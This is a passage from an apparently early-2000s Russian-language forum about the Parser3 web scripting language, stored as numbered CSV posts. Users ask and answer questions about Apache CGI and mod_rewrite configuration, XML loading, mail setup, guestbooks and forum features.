<Files ~ \"\\.cfg$\">\
Order allow,deny\
Deny from all\
</Files>.\
\
Но браузер выдает ошибку \"Not Found. The requested URL /cgi-bin/parser3.cgi/parser/index.htm was not found on this server.\".\
\
А ниже подпись \"Apache/1.3.12 Server at localhost Port 80\".\
\
Что делать?\
"
"7999","Nado bylo eto vse mne dlya odnogo dela. Informatsiyu, blagodarya vam - poluchil ischerpyvayuschuyu. Tolko potom, po sovetam nashyh tovarischey(kto-to skazhet - \"Tambovskiy volk tebe tovarisch\"), raskinul mozgami - i prishel k vyvodu, chto delo, kototoe mne nado reshitj, s kukami ne vzletit. Ya po drugoy doroge poshel. Vot.\
\
P.S. Mnogim na etom forume mozhet pokazatjsa, chto ya zadayu vsyakuyu chushj. Da, eto mozhet bit i tak, no vsego etogo ya ne znayu. Ya seychas v Turtsii, vse obrazovaniye po kompam poluchil zdes. I Parser ya tozhe zdes uchu. Vy zhe ne byli v Turtsii!? Literaturu po informa tsionnym tehnologiyam zdes vy nikogda ne naydete!!! Poetomu tonkosti prihoditsa poznavatj na forumah, vychityvatj s interneta. Doma (v Krymu)ya uzhe ne byl 2 goda. Knizhek nuzhnyh net. Pytayus u vas sprositj - a vy - \"s nozhami polezem\" !"
"8000","в Апаче, конфе хоста\
============================================\
ScriptAlias /cgi-bin/ path_to_site/cgi-bin/\
============================================"
"8002","конечно, может быть тебе никогда и не придется конфигурировать апач на хостинге, может быть ты выкинешь все (веб) нафиг и уйдешь в торговлю. Но на грабли надо наступать, и учиться на этом. На то они и грабли. А тут ты предлагаешь - вот тебе грабли, но они уже с поролоновой ручкой.\
\
Вывод : лучше повозиться с настройкой апача с нуля :)"
"8004","U menja neskoljko voprosov po rabote s xml, tak s xml ja ne siljno znakom, a nado\
obrabotatj informaciju iz faila (cm. http adr. nize)\
1. Kak v konstrukcii $valuta[^xdoc::load[valutukursi_xml.cfm]] zagruzitj fail ne s lokaljnogo diska servera, a s http adresa(naprimer http://www.bank.lv/valutukursi/xml/xml.cfm)\
 \
2.Kak praviljno proparseritj etot fail. Ja promenjaju sled. kod:\
 \
$NodeList[^valuta.select[child::*/child::*/child::*/child::*]]\
^for[i](0;$NodeList-1){ \
    $node[$NodeList.$i]\
 $node.nodeName $node.content<br>\
} \
(a tak ze cherez\
$root[$valuta.documentElement]\
$NodeList[^root.getElementsByTagName[*]]\
$List[$root.childNodes]\
)\
no vo vseh sluchajah poluchitj soderezimoe elementov (ID, Units, Rates) ne udaetsja, vivesti imja elementa polushaetsja, a soderzimoe\
kak bud-to net.\
V konechnom itige hochetsja zagnatj dannie v tablicu ili v bazu dannih.\
Budu ochenj blagodaren za pomosch.\
"
"8005","[code] \
unhandled image file name extension 'png'\
/images/top_home_on.png\
\
exception.type=image.format \
[/code]\
\
Я вывожу так:\
\
[code]\
...\
$menu_on[^image::measure[/images/top_home_on.png]]\
^menu_on.html[$.border[0]$.alt[Дом]\
...\
[/code]"
"8007","если человек полный ноль, то лучше сначала Denver попробовать, потом если понравится, то и дальше можно идти."
"8008","иначе потом пендык будет, а ^file:justname появилось в версии 0005, а у тебя видимо 0001"
"8009","Вообще я пока делаю примерно также. Вернее практически доделал. Т.е. с БД не работаю, т.к. и нет ее пока и времени нет...но надо))))\
\
я отказался от отдельных текстовых файлов...и не помню почему правдо))))\
\
Основной тескт статьи например хранится в хтмл файлах\
все просто:\
@titul[]\
Название..........\
@text[]\
сам текст\
\
и т.д.....\
и в админском каталоге идет выбор хтмл файла и редактирование его и запись + кнопка, по которой текущие статьи уходят (копируются в архив) в соответствующий каталог и т.д....\
\
так что можно без justname, а вот почему не пашет?\
его я не использовал, и ща не могу(, но думаю,..что ты напутал в\
\
$textfile[^file:justname[$request:uri].txt]\
$textfile.text"
"8010","1. Вряд ли можно грузить файл не с локального диска."
"8014","... или \"я худею, дорогая редакция\"...\
\
[i]2Misha - эта реплика - полный оффтопик, осознаю и сразу приношу грубочайшие извинения, но не режь, плиз...[/i]\
\
Предыстория - на http://userguide.webservis.ru одно время висела моя статья про то, как поставить apache на винды. Статью я всё собирался переписать, со старого рамещения я её стёр, и поставил тупой редирект на http://www.bougakov.com. Но видно, кто-то помнит ещё...\
\
Смотрю я статистику реферреров на свой http://www.bougakov.com и вижу этот шедевр (скриншот тут - http://www.bougakov.com/misc/arab.jpg) и офигеваю... Судя по ссылкам - описание установки Apache, ActivePerl и т.п. \
\
Никто не поможет с переводом?\
\
Ребята, помогите, я ж не засну пока не выясню, что там понаписано, ворочаться буду всю ночь!"
"8015","нельзя, рекомендую к использованию wget выкачивать раз в n минут, \
[code]\
man crontab\
[/code]"
"8017","На всяк. случ. копию кину в ЖЖ-комьюнити ru_translate..."
"8018","IMHO, XSL + кеширование дадут вполне приемлемые по скорости результаты.\
А ещё каждый товар можно хранить в отдельном XML-файле, тогда кешировать ещё эффективней можно будет."
"8019","многие пишут подобное, многие ждут. готовы обсуждать все, наверное."
"8020","Здесь уже были вопросы на эту тему, но я так и не нашел нормального решения.\
Есть следующий код который добавляет запись в БД. \
[code]\
<b>Добавление нового агента</b><br><br>\
<table>\
<form method=\"post\">\
  <tr><td>Имя:</td><td><input type=\"text\" name=\"firstname\" size=\"40\"></td></tr>\
  <tr><td>Фамилия:</td><td><input type=\"text\" name=\"lastname\" size=\"40\"></td></tr>\
  <tr><td>PIN:</td><td><input type=\"text\" name=\"pin\" size=\"40\"></td></tr>\
  <tr><td></td><td><input type=\"submit\" name=\"Submit\" value=\" Сохранить \">\
  <input type=\"reset\"  name=\"Submit2\" value=\" Очистить \"></td></tr>\
</form>\
</table>\
<br><br>\
^if(def $form:firstname && def $form:lastname && def $form:pin){\
\
^connect[$connect_string]{\
	^void:sql{insert into agent\
			(FirstName, LastName, PIN)\
	values\
			(\"$form:firstname\", \"$form:lastname\", \"$form:pin\")\
			}\
<b>Добавлено...</b>\
}\
}{\
<b>... необходимо заполнить все поля</b>\
}\
[/code]\
После заполнения всех полей и нажимаю кнопку сохранить. Поля формы очищаются и запись сохраняется. Теперь если нажать кнопку рэфрэш в браузере получим, что невозможно отобразить страницу без повторной отправки данных. При утвердительном ответе в БД добавляется еще одна запись аналогичная предыдущей и т.д.\
\
Как этого избежать???"
"8021","Тут такое дело,\
Администратор говорит, что у них нет sendmail, и предлагает мне воспользоваться якобы его заменителем POSTFIX.\
Что надо указать в конфигурационном методе, что бы это всё взлетело. \
\
Помогите пожайлустААА!!\
\
Да и еще еслт кто знает, что вообще этому POSTFIX в качестве параметров передавать?"
"8022","P.S. Только я совсем не \"Tambovskiy volk\", а \"Bryanski\" :)\
а волков бояться, ..."
"8025","чистое предположение\
[url=\"http://www.postfix.org/sendmail.1.html\"]postfix[/url]\
\
там типа написано, что поддерживается интерфейс sendmail, так что можно предположить \
что в конфиги для Parser нужно написать следующее\
\
$MAIL[ \
$.postfix[/custom/mail/sending/program params] \
] \
\
 замени /custom/mail/sending/program params, на то что скажет тебе администратор\
я так предполагаю, что это должно выглядит как /usr/sbin/postfix -t -i -f postmaster\
\
"
"8026","А подскажите ка уважаемые монстры и гуру :) парсера, вот назрел вопросец... При переборе строк при помощи ^таблица.menu и последующем помещении их в таблицу ни в одной ячейке не работает автоматичекий перенос слов. Если кто с таким сталкивался HEEELP!!!\
Заранее спасибо!"
"8032","@navigation[]\
#Считываем таблицу\
$sections[^table::load[/sections.cfg]]\
#Определяем ширину ячейки $cell_width\
$cell_width[^eval(100/$sections)]\
#Проверка на максимальный размер ячейки\
$cell_width_max[20]\
^if($cell_width>=$cell_width_max){$cell_width_use[$cell_width]}{$cell_width_use[$cell_width_max]}\
#Определяем количество столбцов в строке\
$cell_amount[^eval(100\\$cell_width_max)]\
#Определяем количетсво строк\
$rows_amount_w[^eval($sections/$cell_amount)]\
$rows_amount_f[^eval($rows_amount_w)[%u]]\
^if($rows_amount_w>$rows_amount_f){\
     $rows_amount[^eval($rows_amount_f+1)]\
     }{\
     $rows_amount[$rows_amount_f]\
     }\
#Вывод таблицы\
$sections_id[^sections.count[]]\
<table border=\"1\" width=\"100%\" cellpadding=\"1\" height=\"0\" cellspacing=\"2\">\
^for[i](1;$rows_amount){\
        <tr>\
        ^for[j](1;$cell_amount){\
              ^if($sections.name eq nbsp){\
              <td width=\"$cell_width_use%\" bgcolor=\"#ffffff\">\
              &nbsp^;\
              ^sections.offset(1)\
              </td>\
}{\
              ^if($sections.id == $requested){\
              <th align=\"left\" width=\"$cell_width_use%\" bgcolor=\"#ffcc00\">\
              <nobr>$sections.name</nobr>\
              ^sections.offset(1)\
              </th>\
}{\
              <td width=\"$cell_width_use%\" bgcolor=\"#ffffff\">\
              <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
              ^sections.offset(1)\
              </td>\
}\
}}\
</tr>\
}\
</table>\
<br>\
\
sections.cfg:\
\
id	name	uri\
1	Новости	/\
#2	Рыбы	/pages/fish/\
3	Cнасти	/pages/equipment/\
4	Прикормки, насадки	/pages/worms/\
5	Полезные советы	/pages/triviality/\
6	Водоемы	/pages/place/\
#7	Рассказы очевидцев	/pages/tales/\
#8	Форум	\
9	nbsp\
2	nbsp\
7	nbsp\
10	Магазин	/pages/shop/\
\
Только ногами сильно не пинайте если код покажеться кривым, я не волшебник я только учусь :) Как вы видите nowrap-ом сдесь и не пахнет, однако автоматического переноса строк в ячейке не происходит :("
"8037","Сорри пример неудачный но кстати без <nobr> дает ошибку, тот кусок кода из-за которого собственно начал топик работает через раз, там нет ни <nobr> ни nowrap, буду разбираться сорри что побеспокоил..."
"8038","не работает paser3 на Red Hat Linux release 6.1 (Zoot) Apache/1.3.22 хостинг mastak.ru\
сайт: http://www.transplantation.ru\
parser скомпилирован gcc-2.91.66, egcs-1.1.2 с отключением в pa_config_auto.h HAVE_GETRUSAGE\
в .htaccess все прописано\
Права на запись открыты, владелец у parser3.cgi, error.log, и всех html файлов один и тот же:\
transplan:site175, так выглядет в фаре, (в unix я не силен, компилировал админ хосера)\
т.е. как понимаю, transplan - админ данного виртуального сервера, site175 - группа.\
\
SQL отключено в конфигурационном auto.p, т.к. данный план хостинга его\
не поддерживает, если включить то возникает \
Unhandled Exception ...\
\
Куда дальше двигаться, и почему не пишутся логи в error.log?!\
оперативного доступа к логам своего сервера не имею, из-за системы бэкап-ов,\
что смотрел за прошедшие полдня - ничего на первый взгляд указывающего\
в основном - неудачные запросы с ссылок снаружи типа:\
213.252.73.130 - - [11/Oct/2002:15:19:36 +0400] \"GET / HTTP/1.0\" 200 7 \"http://www.farmo.ru/forum/DCForumID6/7.html\" \"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\"\
\
ПОМОГИТЕ, на локалке все без проблем работало, аж обидно. :(((((\
\
\
\
?ELF..."
"8039","Пытаюсь сделать гостевуху без MySQL -- с помощью конфов. Алгоритм простой:\
\
есть переменная $msg_number -- количество сообщений -- сохраняемая в cfg-таблице; каждый раз когда добавляется новое сообщение, число увеличивается ($msg_number+1) (сохраняется в файле заново). Есть также конфиг, с прописанными датой, и ником \"посылателя\". Третья колонка -- uri к txt-файлу (причем последний добавленный файл имеет имя равное последнему значению $msg_number -- т.е. предыдущий файл_нэйм+1), в котором хранится сообщение. НО: плодить столько txt-файлов -- получится мусорка... хочется сохранять их все в базе данных... но что делать с табами и переносами строки?! Предупреждаю заранее и еще раз -- MySQL недоступен (или недоступНА?)...\
\
Жду ответа как соловей -- лета...\
\
PS: и еще -- как соединять строковые литералы -- к примеру, мне надо соединить какой-нибудь $site_uri и директорию без пробелов... В Перле это было через точку, по-моему... ($site_uri . \\/misc\\/), по крайней мере, что-то вроде, а как -- в Парсере?"
"8040","[code]\
^if(def $form:Submit){\
   ^if(def $form:firstname && def $form:lastname && def $form:pin){\
      ...la-la-la\
   }\
}\
[/code]"
"8041","конвертируй символы переноса и табуляции во что-нибудь. при выводе - обратно.\
\
соединять строки\
$s[${s}directory]\
$s[${d}${s}]\
..."
"8042","Под XP в MSIE 6 куки сохраняются через раз. В MSIE стоит \"средний\" уровень конфиденциальности.\
Я написал настройки сайта через куки, и каждый раз после первого изменения настроек приходится закрывать броузер и килять куки..."
"8043","Попробывал, не помогает.\
\
Давайте я еще раз опишу ситуацию:\
\"Я устанавливаю Parser 3 под Windows 98, Apache 1.3.12, c расчетом позже обязательно подключить (иначе нет смысла вообще начинать) MySQL 3.22. Я решил не трогать файл настройки у Apache httpd.conf, а установить Parser для одного сайта. \
\
Для этого я создал в каталоге C:/Program Files/Apache Group/Apache/htdocs/ подкаталог parser и положил туда пробный сайт на Parser. Запускает данный сайт файл index.html. Дальше я создал в подкаталоге C:/Program Files/Apache Group/Apache/htdocs/parser/ подкаталог cgi-bin и положил туда один файл parser3.exe. Далее я создал файл .htaccess и написал в нем:\
AddType parsed-html .html\
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.cfg$\">\
Order allow,deny\
Deny from all\
</Files> \
\
А также пробывал менять AddType на AddHandler.\
\
Набираю в браузере команду http://localhost/parser/index.html и выдается ошибка №404 (Невозможно отобразить страницу).\
\
Что еще я забыл?\
\
Очень охото сегодня Parser запустить.\"\
"
"8044","У меня в файле httpd.conf уже есть строки:\
ScriptAlias /cgi-bin/ \"C:/Program Files/Apache Group/Apache/cgi-bin/\"\
ScriptAlias /php/ \"C:/php4/\"\
\
Я даже попробывал добавил такую:\
ScriptAlias /html/ \"C:/Program Files/Apache Group/Apache/htdocs/parser/cgi-bin/\"\
Нифига.\
\
Давайте я еще раз опишу ситуацию:\
\"Я устанавливаю Parser 3 под Windows 98, Apache 1.3.12, c расчетом позже обязательно подключить (иначе нет смысла вообще начинать) MySQL 3.22. Я решил не трогать файл настройки у Apache httpd.conf, а установить Parser для одного сайта. \
\
Для этого я создал в каталоге C:/Program Files/Apache Group/Apache/htdocs/ подкаталог parser и положил туда пробный сайт на Parser. Запускает данный сайт файл index.html. Дальше я создал в подкаталоге C:/Program Files/Apache Group/Apache/htdocs/parser/ подкаталог cgi-bin и положил туда один файл parser3.exe. Далее я создал файл .htaccess и написал в нем:\
AddType parsed-html .html\
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.cfg$\">\
Order allow,deny\
Deny from all\
</Files> \
\
А также пробывал менять AddType на AddHandler.\
\
Набираю в браузере команду http://localhost/parser/index.html и выдается ошибка №404 (Невозможно отобразить страницу).\
\
Что еще я забыл?\
\
Очень охото сегодня Parser запустить.\"\
"
"8045","Читал Бродского? Вот определить перед тобой добро или зло очень трудно сразу. Ты говоришь, что тебе близок Парсер... Но я в этом не до конца уверен.\
"
"8047","Это не была шутка. Надо сказать я не знаю сегодня XML и Парсер сегодня знаю в пределах вводных уроков.\
\
Считаю, что уроки по введению в Парсер плохо написаны (да не обидятся авторы). Везьде написано Парсер простой и его могут использовать даже дизайнеры и домохозяйки. Это ложь. Парсер обычная среда программирования, такая же как PHP. Сайт со счетчиком посещений и гостевой книгой сможет за неделю написать домохозяйка. Но систему с огромной базой данных (которую еще надо спроектировать) сможет создать только специалист. И тут даже не важно на чем ее создавать на PHP или на Парсере. \
\
Думаю вы с этим со всем согласны?\
(Кстати, я не знаю что означает слово \"пафос\". Вы имели ввиду \"панты\"? Простите ради бога.)\
"
"8048","Что значит ортодоксальный? Парадоксальный знаю. Ортодоксальный нет. Простите.\
\
Пальцы на Парсере отбивают скорее всего так называемые ламеры. Не так ли? Это очень хорошо. Это я и искал. Т.е. хотелось бы, чтобы было популярно средство, которое ламерам не по зубам. Интеллектуальные барьеры мешают с Парсером успешно работать. Ведь Парсером может успешно пользоваться только интеллектуал. Так можно справится с конкуренцией. Если я в ближайшее время освою ваш Парсер, то я буду скорее всего первым, кто на Парсере пишет сайты в Красноярске (моя студия, тоесть). \
"
"8049","Я дипломированный программист. По дизайну прочел три книги (включая \"Веб.дизайн\" Дмитрия Кирсанова) и считаю себя абсолютно в дизайне не разбирающимся. При разработке сайтов я привлекаю студентов красноярского Худ. института (специальность художник-дизайнер, станковая живопись и др.) для оформления сайтов. Для обработки текстов я привлекаю студентов-журналистов (КГУ) и студентов ин. яза. Я считаю, что сайт долны разрабатывать специалисты. Никаких веб-мастеров (т.е. мастеров на все руки)!\
\
Поэтому, мне показалось, что у нас одинаковые с вами, Nexus, взгляды. Почемы только вас зовут по английски, вы иностранец?\
"
"8050","Я сейчас расплачусь... Я ПОЛНОСТЬЮ с вами согласен. Да, да Parser такой же как PHP, но со своими особенностями. Я Парсер ваш почти не знаю. Изучу, еще тогда поспорим о нем, если я с чем-то буду не согласен.\
\
Например, мне не нравится что везде говорят, что Парсер такой простой, что по зубам домохозяйкам. Сайт со счетчиком посещений и гостевой книгой сможет за неделю написать домохозяйка. Но систему с огромной базой данных (которую еще надо спроектировать) сможет создать только специалист. И тут даже не важно на чем ее создавать на PHP или на Парсере. \
\
(Я наконец-то нашел одиномышленников. Если б ты знал сколько я их искал, лет 5-6. ;-) )\
"
"8051","Он был просто написан, и все. Не для дизайнеров и не для мизайнеров. Для Лебедева он был им и написан. (Или задуман) Через года, наличие такой собственной системы может дать коммерческий эффект. Вот и все.\
\
В Красноярске (откуда я) тоже есть головы, которые подумывают свою систему программирования подобную создать (Быковский программист (про Анатолия Быкова слышали? Он у вас в Москве не один год провел, да?) -- Андрей Меренков, например). Но это весьма непросто, на самом деле.\
"
"8052","ну а зачем нужна \"подобная система\"? есть ведь уже парсер и пр. ребяты не изобретайте колёса."
"8054","...но нет у меня в хостинговом плане этого сервиса!\
"
"8055","Да, действительно разработать свою собственную систему программирования очень сложно. Требует много чего: известность, деньги, адекватные мозги, время, профессионализм конечно тоже.\
\
А меня вообще только деньги волнуют! За разработку своей системы не заплатит никто. По крайней мере в первые несколько лет существования этой системы. Проще заработать другими способами. Просто писать сайты на существующих платформах."
"8056","Уважаемый [i]fedich[/i],\
\
Если не секрет можете подробней рассказать про \"админский интерфейс\". Как все реализовывалось?\
\
Чуть позже я напишу как я предполагаю это сделать.\
\
С уважением.\
Baurjan."
"8057","Уважаемые создатели форума,\
\
У меня к вам такой вот вопрос-предложение по поводу работы форума:\
\
По умолчанию в настройках форума стоит отметка показывать последние 15 тредов. А можно чтобы, по умолчанию треды сортировались по дате. Причем сортровка идет не по дате основного вопроса, а по дате любого ответа в треде. Т.е. если поступил ответ на вопрос, который был задан, скажем, месяц назад, то автоматически все обсуждение (тред) выносится в начало форума. \
\
Для большинства ситуаций такая система является удобной: новичкам (вроде меня) будет легче \"вливаться\".\
\
С уважением,\
Baurjan.\
"
"8059","Этого нету в планах, и скорее всего не будет..."
"8060","алиас апача /cgi-bin/ будет указывать в \
\"C:/Program Files/Apache Group/Apache/cgi-bin/\", а не в \"C:/Program Files/Apache Group/Apache/htdocs/parser/cgi-bin\" куда ты кладешь парсер....\
\
Поэтому и не нахрдится обработчик.\
\
Или правь алиас в conf или клади парсер куда следует."
"8062","Зато сейчас, если ты не успел вписаться в первые 15 тредов, то уже не успеешь до конца узнать и обсудить свою тему, лучше открывать новый тред. А если ты занят, если вдруг ты на время вынужден оторваться от интернета? Несправедливо.\
\
Вот например, когда ПАФ в прошлый раз возвращался из отпуска, он, отвечая, на старые вопросы, открывал новые треды. В результате, задаваашие эти вопросы и прочие участники никак не будут уведомлены об ответе на их вопрос, а, может, они, разочаровавшиеся уже давно свалили с форума и не посещают его периодически.\
\
А ещё Вы удивляетесь, что народ активно не пользуется поиском, вот и попользуйся поиском, если вопросы и ответы никак не связаны.\
\
Я считаю, что алгоритм поиска ответа на вопрос должен быть следующим: чтение доки, поиск в форуме. Если при поиске в форуме, ответ не найдён, либо открывать новый тред, либо взять наиболее подходящий по теме и приделать к нему ещё одну ветку, таким образом, каждая ветка будет являться \"модулем\" по определённой теме, рассматривающая эту тему со всех аспектов."
"8063","ПАФ когда отвечает новым тредом копирует в ответ и сам вопрос.\
Поиск все равно находит единичные сообщения, содержащие ключевое слово.\
\
Согласен с Мишей и считаю такую сортировку вредной."
"8064","...нужено иметь, который бы удалял непристойные высказывания и флейм из тредов, т.е. будет оставаться довольно содержательная беседа (обсуждение вопросов)..."
"8065","Включил, (проверил, что включилось, создав exception :)) один фиг, в error.log не пишется, на запрос выдает что и раньше:\
ELF\
или я не там смотрю?"
"8066","Что ты его криво собрал... Может взять готовый?"
"8068","\
"
"8069","Да кстати могу по этому же поводу прикол рассказать, приключился недели 1.5 назад, кстати в форуме остались следы.\
\
Дело было так, установив парсер на новый хост, я принялся тестировать свою голосовалку, ну тестировал тестировал, а сервер как назло отдавал документы в народной украинской кодировке КОИ8У.\
Я все перекопал, не понимаю почему не взлетает, на форуме народ в очередной раз потревожил по поводу настроек этих самых кодировок, и что в результате - \
\
админ :) , который не выспался наверное, прописал в httpd.conf такую вот муть koi-1251. Ну ржал я минут 50 когда это увидел, так что если меня читает народ не очень опытный и у вас проблема с кодировками, спросите какое настроение было у вашего админа в день оформления хоста. :) "
"8070","Собирал не я, а см. http://parser.ru/forum/?id=7904, я тоже против того чтобы сразу собирать, с ними правда тоже не работало, сейчас попробую еще раз с \"общедоступными версиями\". \
PS спасибо, что разделяете мое единоборство, а то уже бросить все и заphp-иться подумывал, т.к. хоть как-то запускать даный ресурс мне просто необходимо."
"8071","Попробовал заново парсер и оный с поддержкой XML, все время выдает: 500 Error. Internal Server Error \
потом вспомнил, что упустил одну деталь, админ пускал эти версии из-под шелла, и получил:\
./parser3.cgi: /lib/libc.so.6: version `GLIBC_2.1.3' not found (required by ./parser3.cgi)\
тут стоит glibc 1.9.2\
пересобирания не избегнуть, с этим и PAF, вроде, согласился, но в чем подвох? Оно же даже что то делает: вот unhandled_exception из ГКФ умеет выдать. Если есть большое желание помочь и вера, что дело не в сборке, может - в приват мылом? :)."
"8072","а как конвертнуть?\
\
можно, конечно, с помощью taint-untaint, но надо, чтобы перенос строки в ХТМЛ был именно переносом строки (<br>), а не сливался в одну строчку. А через <pre> делать не хочется..."
"8074","Добрый час уважаемые.\
Я опять с большой проблемой на которую я надеюсь можно совместными усилиями найти простенькое решение.\
У меня есть сайт целиком и полностью структура которого написана PHP, а Гостевую книгу я решил написать и даже уже написал на Parser3, но вот беда.\
\
Я расчитывал, что я просто воспользуюсь такой фишкой,\
\
<?php\
include(\"guestbook.html\");\
?>\
\
и все запашет, и вродебы по логике вещей должно запахать, но проблема в том, что я так и написал, а получил херню собачую.\
\
Вообче весь вывод html файла, не обрабатывающегося Parser'ом с легкостью вставляетьься в вывод не задевая вывод всего того, что написано в PHP файле из которого html файл вызываеться, но если html обрабатывается Parser'ом, то весь вывод PHP файла выдераеться и то, что выдает Parser идет в отдельном процессе.\
\
Я надеюсь, что создатели Parser'а пошли на это не сознательно, а если сознательно, то почему?\
\
Как решить эту проблему (без сборки из исходных кодов).\
Есть какое либо программное решение, может и на PHP или на Parser3?\
\
Спасибо за внимание. Буду весьма признателен если поможете решить проблему."
"8075","не надо taint untaint. Заменяй ^match-ем при записи \\n на [br] (допустим), а при выводе [br] на <br />. также с другими символами."
"8076","сделай отдельной страницей, а так не получится есссно."
"8077","инкляйдеть также такие вещи, как меню, счетчики и нижняя панель сайта, и всякую другую шнягу.\
\
Мне кажется, что эту проблему можно решить в будущих версиях Parser'а, я надеюсь."
"8078","Для начала посмотрим такую вешь:\
<?php include \"blah-blah-blah.cgi\" ?>\
Работает такая конструкция? Сдается мне, что оно честно вставит содержимое, но никак не результат выполнения. include() требует php'шного кода, которого в парсерной страничке нет - вот и получаем вставку текстогого файла.\
\
Если уж на то пошло, смотри мануал на тему [url=http://www.php.net/manual/en/function.virtual.php]virtual()[/url].\
\
Но делать так все равно не надо. Вставить всякие мелочи можно и самим парсером. "
"8079","Гостевую книгу можно написать и на PHP. Не мучайся с этим. Корректно ты всё равно ни чего не вставишь, это тебе не SSI.\
Кстати. Можешь создать index.shrml, а в нём:\
[code]\
<!--#include \"/head.phtml\"-->\
<!--#include \"./guestbook.html\"-->\
<!--#include \"/tail.phtml\"-->\
[/code]\
\
Удачи.\
\
ЗЫ: не нужно пытаться получить 2 метра колючей проволоки -- не продуктивно :)"
"8080","Как настроить mod_rewrite так, чтобы все запросы перенаправлялись на одну и ту же страницу, даже если соответствующие файлы существуют на сайте.\
\
Взял вот этот пример:\
[code]\
RewriteEngine on\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/main.html?uri=/$1	[L,QSA]\
[/code]\
\
Убрал условия, оно вроде как стало циклиться и сервер перестал отвечать:\
[code]\
RewriteEngine on\
RewriteRule	^(.*)$	/main.html?uri=/$1	[L,QSA]\
[/code]\
\
Ещё поискал в форуме, нашёл мишин пример:\
[code]\
RewriteCond	%{REQUEST_URI}	!/_\
RewriteRule	(.*)	/main.html?uri=/$1	[L,QSA]\
[/code]\
\
Он тоже циклиться.\
"
"8082","кто компилировал парсер под макос 10-ку.\
какие будут проблемы? соберётся ли он с драйверами под mysql?\
"
"8083","При попытке соединения с базой данных появляется ошибка\
$sql:drivers table must be defined\".\
Web-сервер Apache; ос- Windows XP; база MySql"
"8084","приводи информацию из конфигурационных файлов. Может забыл перекачать архив с mysql-драйверами и положить файлы в [i]lib/[/i] ? "
"8085","[url=\"./?id=4937\"]* Parser3 and MacOSX, Sergei [07.08 12:56][/url]"
"8086","Я согласен с мнением \"typical visitor\". Текущая система порождает большое количество тредов, в то время их КПД довольно низок, т. к. \"срок жизни\" каждого треда -- пара дней. После этого этот тред можно найти только поиском. (Я не думаю, что кто-то пользуется фильтром по дате, т. к. он довольно неудобный. Было-бы неплохо сделать страницы со старыми сообщениями. )"
"8088","я все, какие у меня в PHP 4 работают подрубил, а он мне се равно пишет, что не знает такой фрукт как virtual()"
"8089","вот она в один прекрасныйдень отказалась на хостинге работать и не туда и не от туда, и пришлось новую клипать :("
"8091","и делай на чём-нибудь одном. а иначе это, как ты выразился, пустая \"байда\"."
"8092","попробуй \
\
RewriteRule	(.*)	/main.html?uri=/$1	[R,L]"
"8095","У меня и в rewritecond и в rewriterule были файлики, начинающиеся на символ \"_\"\
\
Напиши:\
RewriteCond %{REQUEST_FILENAME} !main.html\
этой инструкцией ты исключишь из рерайта свое main.html\
\
Только на счет [b]всех[/b] файликов ты все-таки погорячился :) на сайте кроме html-ек есть еще gif, jpeg... которые ты чкорее всего не захочешь рерайтить :)))\
\
P.S. все таки стоит попытаться _понять_ что означают те или иные инструкции, а не перебирать найденое..."
"8096","Получилось у меня закачивать с помощью wget файлик с XML в нужную директорию. А что с XML-то?"
"8097","дмитрий, вы не сообщаете деталей, и, как вижу, хотите, чтобы за вас написали код"
"8099","это означает, что веб-сервер не воспринял parser3.cgi как cgi скрипт. попросите вашего системного администратора настроить. или спросите, куда нужно положить cgi скрипт, чтобы он работал правильно."
"8100","если parser.cgi может, он пишет рядом с собой файл parser3.log, если не может, пишет на stderr, что попадает в лог ошибок веб-сервера"
"8101","поищите по форуму, я публиковал ссылку на grpunlim.\
http://parser.ru/forum/?id=7947"
"8102","давайте вместе поймём.\
1. тестовый адрес, где так? \
2. точная версия MSIE?\
\
[я пойду/проверю/подумаю]"
"8103","это нечастая операция, напишите внешний скрипт на чём угодно, и вызовите его ^exec"
"8104","Вообще-то детали были в самом первом сообщении. Но суть не в этом.\
У меня есть работающий код на PHP специально для этой задачи. Но так-как я пишу все на Parser3, то хотелось-бы иметь какую-то целостность. И честно говоря PHP-код я перевести не могу, так как\
не программист я.\
Так как сервер у меня поддерживает и то и то, то я конечно могу задачу разбить на 2 части: РНР загрузит, пропарсерит и занесет в БД, а уж Parser достанется самое легкое - вынуть из БД и показать.\
Если есть возможность помочь с переводом, дайте адрес и я перешлю тексты(они совсем крохотные).\
Спасибо за потраченное на меня время.\
Дмитрий"
"8106","Почему заголовок письма отправленного парсером имеет странную кодировку, текст написанный русскими буквами выглядит непонятно.\
\
И когда будет новая версия парсера, в которой можно будет отправлять письма содержащие хтмл код?"
"8107","все равно что скрещивать носорога с бегемотом."
"8108","надо указывать\
[code]\
$.content-type[ \
	$.value[text/plain]\
	$.charset[windows-1251] \
]\
[/code]\
и в формате html письма тоже отправляются, valu ставь в text/html и далее формируй html код."
"8111","всё будет, для особо нетерпеливых могу исходники сайта хоть щас выслать(без интерфейса управления), но там есть немного кривого кода, и мало комментариев :)."
"8112","Впринципе, если делать для кого тот продукт - сайт, то должно быть обновление его пользователем, т.е. владельцем сайта. \
Следовательноо, как я думаю. онон должно быть максимально удобным, легким и т.д... Мне кажется есть 2 пути, какой лучше, это другой вопрос:\
1) Делать среду, интерфейс админа под все другое сайты,..т.е. легкая настройка - и работает с множеством разных сайтов.\
2) Делать под каждый сайт - свою личную.\
\
Если говорить про первый вариант, то такие уже известны, это и, как я понимаю, лебедевский импл..как его там?))) и куча разных прог, обычно они на яве и дхтмл написаны...+ есть на пхп и т.д.\
В сети есть много таких прог, есть фри, есть money\
\
про втотрой - соответственно - программер делает именно под сайт - беря в основу задачу, для чего он делает....\
\
Похдодя ко мне:)))...скажу, что в моей задаче стоит задача, цель, чтобы обноленияя сайта не делать у себя на компе и пототм заливать их на сайт а сразу либо я, либо тот, кому дан доступ мог редактировать, изменять и т.д. и т.п...\
\
У меня задача не сложная - выпуск новых статей/аля новый номер...[но пока без б.д... И когда перейдем на б.д., тоо конечнно все в корне поменяется...] запуск старого номера в архив...\
\
Решил сделать так - когда наступает пора \"нового номера\" - при нажатии на кнопку - все копируется в определенный каталог + добавляется в файл name.cfg аля \"Выпуск02\" и сам каталог\
\
После этого просто беру каждый файл со статьей, а они у меня в html файле - там просто текст с @titul[] и т.д. и удаляю старый текст и вставляю текст...\
вот и все. Система прорсто очень сильно/жестко привязана к самой структуре сайта.\
\
